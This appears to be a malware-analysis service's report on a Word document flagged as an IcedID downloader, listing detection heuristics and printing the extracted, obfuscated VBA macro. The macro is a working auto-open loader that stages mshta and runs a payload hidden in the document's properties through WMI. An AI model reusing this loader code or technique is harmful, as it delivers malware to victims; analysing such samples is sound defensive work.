MALICIOUS
170
Risk Score
Heuristics 6
-
ClamAV: Doc.Downloader.IcedID-87f88705f807f878-9951567-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.IcedID-87f88705f807f878-9951567-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
CreateObject(aXMr0).create (ayxI8j) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 11963 bytes |
SHA-256: 7f5771595b8f7d5bbb006fb6b65ba8947b04065d624dc6420d57bafbe9af59f4 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "aQBPrY"
Function aWAlu(avZrU2)
' Forty-three incredulous
' Broker frankenstein
' Assignment titanium south frontispiece
' Yoga av iniquitous store blackbird
' Alternative invidious airports lancet inquiries lab
' Serves prolix
' Consistent smart
' Suggesting problem pushing agile omega
' Tiger contains admit
' Promote meekness corruption
' Cherry harlot
awLPB = avZrU2
aiVKqS = Len(awLPB)
For akPRM = 0 To aiVKqS - 1
' Roads indonesian annunciation
aPYys = aPYys & Mid(awLPB, (aiVKqS - akPRM), 1)
Next akPRM
aWAlu = aPYys
End Function
Public Function aCzngx(aMoZPJ)
aCzngx = Replace(aMoZPJ, a5rUfH, "")
End Function
Sub AutoOpen()
' Gibberish
aGunE
End Sub
Attribute VB_Name = "a8s57"
Public Const ad9rh As String = "sse)cor)P_2)3ni)W:2)vmi)c\t)oor):st)mgm)niw"
Public Const a5rUfH As String = ")"
Public Const a4IeNi As Integer = 1297 - 1284
Function adnxH()
End Function
Sub aO2iy(ax5egG)
' Adultery conversion radical
' Fusion cloudless quire icons supreme
' Performed northamptonshire actually jerry
' Vp infected salve johnson hessian
' Types attribute thoroughness
' Alton froze motel hits
' Tucker polemical but ukraine
' Roughly janus engender seating
' Dm
' Tissue jet
' Enrichment himalayas
' Sen development siliceous
' Dissolving
' Open-mouthed butte courts
' Nome
' Watt grill pant banks eyed
' Ta kind venerate
' Gratis genitive
' Creek variety invalid lloyd
' Iota harvey
' Shell perceived slime pearly
' Ketch seth
' Hl loans garnish nutritional
' Sip impotence accoutrements
' Fight falsify database execrable
' Unblemished sickened spans dressing buttermilk narcissist labels
' Ourselves leeds kitten rodney disagreement
' Symbol
' Ruffle tigress arabia cent inf stepmother
' Modify basilica coitus colombia counteract
' Congo voltaic
' Mettle improvident inaudible
' Noblemen youthfulness
' Tambourine congress cia legal
' Disinclination phosphorus tarnish ingratiate
' Revenue jacob flemish
End Sub
Function awWhxC(ajL6B)
' Gutter
' Identical fluent
' Newspapers
' Explaining paganism
' Watchman congo islam
' Froth tablet candles vacuum
' Abnormally bald accounting
' Fissure might tsp assembled fountain trestle
' Convivial dorado boot losing fairy
' Category enigma depraved
' Compunction curriculum calibration friesland logging van
' Henceforward notification
' Retrieval lil leaks
' Royal conducting packed
' Manga
' Generative voice arthritis
' Team vis onto americas driven dark midsummer
' Lavender senators shingle
' Dropsy
' Nasa superfluity history compensating
' Brawn incidentally salve christopher
' Riverside renewable avon
awWhxC = ActiveDocument.BuiltInDocumentProperties(ajL6B)
End Function
Public Sub aED5gz()
If 338 - 274 < 131 Then
Call aYcWi
End If
End Sub
Public Sub alTup()
If 338 - 274 < 131 Then
Call aojWKx
End If
End Sub
Attribute VB_Name = "aYLTr"
Public Function a6kAJ(aFPzo, a1OaCn)
' Cathay dans driven stefan
' Seafaring vermin
' Diagnosis chills
' Generation dump brighton mither
' Dv struggle topic
' Lyrics corpus
' Ferrari
' Denver glaze smirk transfiguration skein motels mileage
' Satisfy teams xl disciplines coating
' Articulation clan
' Pleased chipped nascar expiate
FileNumber = FreeFile
Open aFPzo For Output As #FileNumber
Print #FileNumber, a1OaCn
' Er recorder revolutionary
Close #FileNumber
End Function
Sub a2oH0(aIJNK, aapoVD)
' Firemen golden
' Profuse motel provender apex mutable orgy
' Propulsion potter
' Atrocity pandemonium creator cabaret
' Fernando subcommittee counters definitely newest script
' Indictment organize susanna
' Natural comm formats
' Windward mw whisk famished
' Rs
' Carlos
' Pare quotes wto fund announcements
' Insincere browser
' Apartment determining keg
' Cd you concierge
' Environment gripping pic cabin unremitting darken
' Wide used items unload guilty
' Emulation orient
' Bolton presidential
' Pellucid
' Sharp offense
' Feat. toolbox
' Arabic fatherly
' Ran bigotry welling membership
' Sanitation crossword
FileCopy aIJNK, aapoVD
End Sub
Function aJ0wh9(ayz8JQ)
' Regenerate ooo creations
' Mythical wto crown overhaul
' Undergraduate karl
' Cheaper compassionate broker textile
' Genoese quicksand
' Perishing wolfish admonish database delphi
' Consultant punjab
' Artemis eerie paperback interchange truss colour
' Billiards manager honda simultaneously
' Race rimini protoplasm pie coupling hurl
' Leading cherub sas installations
aJ0wh9 = ayz8JQ
End Function
Attribute VB_Name = "ahz07n"
Sub aGunE()
aED5gz
alTup
' Mere slavonic
' Apes butte
' Bray congregate daytime advocate
' Orgy roth campbell
' Awestruck sucking listprice standing
' Backing cameo nap pessimist engineer
' Resonant pleased template upbraid
' Sports glisten palisades selling
' Aqua dens technical
' Womanish reynolds eh
' Dictatorship show proper ranks dis-
' Cups
' Ineffectual immigration
' Classroom contact ringleader
' Rose thaw luggage strangle
' Risks tablet effectiveness enthusiast hygienic
' Surprise
' Posters cemetery sash stereo lassitude comprehensive
' Jc howard bankrupt locally
' Entitled pursuit
' Stage
aXMr0 = aCzngx(aWAlu(ad9rh))
CreateObject(aXMr0).create (ayxI8j)
End Sub
Attribute VB_Name = "aRIoq"
Function aSBkE()
' Unbridled
' Follower incur
' Mask sacramento militant
' Reload mussulman phantasy crags
' Tsunami sanitation limit
' Sceptic scrawled minority
' Purification simpleton data
' Gesticulation acceded photography
' Vancouver
' Backwoods res sie retained
' Demonstrates wrack warp
aSBkE = VBA.Split(aWAlu("l)m)t)h).)s)m)\)c)i)l)b)u)p)\)s)r)e)s)u)\):)C)|)m)o)c).)s)m)\)c)i)l)b)u)p)\)s)r)e)s)u)\):)C)|)e)x)e).)a)t)h)s)m)\)2)3)m)e)t)s)y)s)\)s)w)o)d)n)i)w)\):)c)|)o)t)o)m) )o)l)l)e)h)"), "|")
End Function
Function aaEF6X(aKB4fj)
' Cat postal solo pasty currently
' York offset enhance
' Welding temporary motel
' Blanch undoing odd
' Political succumb
' Unfriendly exams bears sink
' Inform affix automobile
' Factious
' Departments elections mandy
' Fa
' Terrestrial folders corrections fingers restrict
a09bq = aSBkE()
' Lath pertain galleries operative
' Relatives interloper receptors artless
' Law naming
' Rend iceland
' Lang confusion isolation fire papers
' Chase oriented middle-class
' Passes phenomenal tennis
' Indigent salty metrical tommy
' Nottingham
' Platoon glad varieties stage snail banjo
' Arc isle exalting
' Tool who minion nationalism
' Intriguing statement
' Anatomical
' Charter ambien undervalue formulae bronze
' Working tiber nil
' Cannonade vulnerable
' Agenda wants
' Bicycle
' Radiation platter surplus
' Wheedle chilling
' Receipt fig.
' Salmon magyar unalloyed hebrew ludwig inverse strident
Select Case aKB4fj
Case 0:
aaEF6X = a09bq(1)
' Lounge controversial
' Matches pre
' Classification indigent judy
' Reverently pathological cabman generally
' Alice purport lenient
' Successfully prep impious christianity dead
' Uprightness bargain
' Worlds hinduism polish saddam riga sons talked
' Adulterous bedrooms
' Autobiography dosage ohio surmount module spleen
' Achieving
' Ferguson
Case 1:
' Shaven un- spectacular
' Mistress d tongue gills citizens
' Soc mulatto mendicant universality
' Autocratic capsule albert vehicles stickers
' Diet resumes crucify
' Ericsson
' Respiratory microscopic retreat oblique
' Vaporous rawhide
' Blah tiberias time
' Tureen
aaEF6X = a09bq(2)
' Banana
' Pix responsibility
' Soot techrepublic
' Chevy cities talkers row
' Unmerciful armed these piracy
' Moonshine universal perplexing
' Buffalo demoniacal arc perjury haw removal
' Amd minus
' Stephen
' Aphorisms
Case 2:
aaEF6X = a09bq(3)
End Select
End Function
Sub aojWKx()
a4uiAd = a16uh(aaEF6X(2))
a6kAJ a4uiAd, aK23q(awWhxC("comments"))
End Sub
Attribute VB_Name = "ap0D5"
Function ag8JM(aRV6xq)
' Refine timing
' Determination promised ladies
' Yn somerset parasite
' Jenny ecuador dissipation
' Guaranteed instrumental representation serenade ton kinsmen ambergris
' Characteristics program
' Bedtime sulkily browsers
' Fitting dyspepsia carrier roan
' Seeds posing prague barry apparent court
' Cricket bi cherokee applicable dynamics katrina
' Disquisition intrepid
' Prep senate
ag8JM = aCzngx(aRV6xq)
End Function
Function agX1v(aPsMf)
agX1v = (aCzngx(aPsMf))
End Function
Function a16uh(aR69Ba)
' Quench generators realm
' Funny
' Unabashed doll
' Workshops freud creased ridiculing alchemists
' Fungus fin
' Stucco fire skirted drove enterprise
' Omissions normally toad engrave
' Eucalyptus networking wear javelin
' Sk perusing faggot wallpapers
' Sorts continuously
' Abysmal derek
a16uh = (aCzngx(aR69Ba))
End Function
Function ayxI8j()
aitEXB = agX1v(aaEF6X(1))
avjMm = a16uh(aaEF6X(2))
ayxI8j = aitEXB & " " & avjMm
End Function
Sub aYcWi()
aWagsX = ag8JM(aaEF6X(0))
aitEXB = agX1v(aaEF6X(1))
a2oH0 aWagsX, aitEXB
End Sub
Function a7Tagv(aKLfo)
a7Tagv = aKLfo + 278 - 252
End Function
Function aWTUr0(aFfHr0)
If aFfHr0 = 0 Then
aWTUr0 = 407 / 407
' Inclusion fitted
' Wal citron froward crescent pt
' Combat kennel undignified antithesis suet solution
' Dining revoke just
' Leave-taking noon georgia
' Mathematics mia coasting adapt
' Funds
' Safe msgid donors premier fifty-three wriggle
' Swineherd ethical seek
' Sen pro.
' Drilling convalescent pelt
' Understood uzbekistan tue papyrus
ElseIf aFfHr0 = 5 Then
aWTUr0 = -176 + 273
Else
aWTUr0 = 31744 / 31
End If
End Function
Function ae7Ay(aKLfo, aMdhJ)
ae7Ay = aKLfo - aMdhJ
End Function
Function aG6WS(aKLfo)
aG6WS = Chr(aKLfo)
End Function
Attribute VB_Name = "akDdp"
Function aK23q(aR4lIk) As String
Dim a3hdJ As Long
Dim aza9W As Integer
Dim aIObi As Integer
For a3hdJ = 1 To VBA.Len(aR4lIk) Step 1
' Spurious daily alkaline cohesion strategic
aIObi = 0
' Encourages patrol vociferous undeceive telegraphy begin
' Drover steven
' Cooking purposes manse
' Paucity sudden pushed
' Concise inf sunrise avalanche thailand
' Nakedness protocol
' Bmw comm season snail
' Resonance neighbor transvaal
' Havoc una offline persephone
' Restrictions swimmer insecure
ai9dA = Mid(aR4lIk, a3hdJ, 1)
aza9W = Asc(ai9dA)
' Frankfurt
' Disheartened underhand application practical
' Selection consign parish
' Oral mar chute does
' Caparisoned ironing lending induction
' Moments befit utilization
' Exposure quaver opens delays
' Ranging elfin artificer
' Apartments navajo vie medication genetic crime
' Hairdresser backwoods
' Ladle wine abby wrongdoing horus
' Gen adverted hereupon
' Servitor japan
' Hairdresser theories
' Padlock gloaming churn approximately
' Ft digressions diameter
' Contemporary disagreement arch
' Ultimatum lives
' Img lines declivity spas
' Partook proposition independence daughter
' Wetting tulip
' Declaration predicament chichester
' Sussex carnage
If (aza9W > 64 And aza9W < 91) Or (aza9W > 96 And aza9W < 123) Then
aIObi = a4IeNi
aza9W = ae7Ay(aza9W, aIObi)
If aza9W < aWTUr0(5) And aza9W > 83 Then
aza9W = a7Tagv(aza9W)
ElseIf aza9W < 161 - 96 Then
aza9W = a7Tagv(aza9W)
End If
End If
aHDXeg = aG6WS(aza9W)
' Benchmark pits somali heliotrope
' Want texture muscle polynesia demoralization
' Valparaiso minimal
' Daze ease
' Hiv gay
' Doctor
' Balkan fresher
' Orthodoxy beast mechanics
' Covert inadvertently quizzical assembly temporal
' Supersede
' Agrarian variables handheld body crayon easter
Mid$(aR4lIk, a3hdJ, 1) = aJ0wh9(aHDXeg)
Next
aK23q = aR4lIk
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 51200 bytes |
SHA-256: 9931cf9afa012423bc1c9fe3cf9f39e62da2dbeb71c7f95e7208bd0fd819d9fe |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.